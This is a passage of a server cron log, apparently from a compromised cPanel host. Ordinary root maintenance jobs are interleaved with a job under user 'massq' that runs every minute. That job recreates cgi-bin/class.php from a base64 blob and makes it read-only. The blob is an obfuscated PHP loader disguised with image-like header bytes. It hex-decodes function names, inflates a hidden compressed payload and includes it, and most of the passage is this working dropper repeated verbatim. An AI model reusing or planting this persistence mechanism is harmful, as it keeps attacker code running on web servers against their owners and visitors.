ICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:19:01 server CROND[5730]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:20:01 server CROND[5882]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 14:20:01 server CROND[5883]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr  6 14:20:01 server CROND[5886]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:20:01 server CROND[5884]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 14:20:01 server CROND[5885]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 14:21:01 server CROND[6000]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:22:01 server CROND[6049]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:23:01 server CROND[6112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:24:01 server CROND[6168]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:25:01 server CROND[6283]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Apr  6 14:25:01 server CROND[6285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 14:25:01 server CROND[6284]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 14:25:01 server CROND[6291]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:26:01 server CROND[6416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:27:01 server CROND[6475]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:27:01 server CROND[6477]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr  6 14:28:01 server CROND[6533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:29:01 server CROND[6592]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:30:01 server CROND[6653]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr  6 14:30:01 server CROND[6656]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr  6 14:30:01 server CROND[6655]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr  6 14:30:01 server CROND[6657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:31:01 server CROND[6874]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr  6 14:32:01 server CROND[6938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo 